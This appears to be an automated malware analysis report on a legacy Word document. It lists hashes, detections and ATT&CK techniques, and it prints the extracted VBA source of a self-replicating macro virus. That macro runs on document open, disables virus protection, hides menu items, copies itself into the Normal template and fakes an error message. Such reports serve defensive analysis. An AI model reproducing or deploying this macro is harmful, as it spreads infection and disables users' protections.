Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b6d4056fd72f805…

MALICIOUS

Office (OLE)

31.5 KB Created: 1998-11-04 19:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e03f6902631f00e31b55395bfea55b6f SHA-1: ba800957d6895c07b288f6a0b51b16619c8c603d SHA-256: 1b6d4056fd72f805fbc1a5548d9de4d2f14d3cfd43102a9a865cd9c59676e4ca
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to either the Normal template or the active document, indicating a potential persistence or propagation mechanism. The presence of 'AutoOpen' and the VBA macro strongly suggests a malicious document, likely delivered as a spearphishing attachment.

Heuristics 4

  • ClamAV: Doc.Trojan.Example-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Example-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1240 bytes
SHA-256: 7533dda709a608d44b72a88598212fe57675dd503ad01cabeb4bb1139d0cc026
Detection
ClamAV: Doc.Trojan.Example-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Virus2"
Sub AutoOpen()
Application.EnableCancelKey = False 'Prodection
Options.VirusProtection = False     'Prodection
Application.CommandBars("Tools").Controls(12).Enabled = False 'Stealth
If UCase(ThisDocument.Name) = "NORMAL.DOT" Then
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "Virus2" Then GoTo EndOfVirus
    Next i
   VSource = NormalTemplate.FullName
    VDestiny = ActiveDocument.FullName
Else
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "Virus2" Then GoTo EndOfVirus
    Next i
    VSource = ActiveDocument.FullName
    VDestiny = NormalTemplate.FullName
End If
Application.OrganizerCopy VSource, VDestiny, "ExampleVirus", wdOrganizerObjectProjectItems
EndOfVirus:
End Sub

Sub ViewVBCode()
MsgBox "Error: 8934", vbExclamation, "VB Editor"    'Display a false error message
End Sub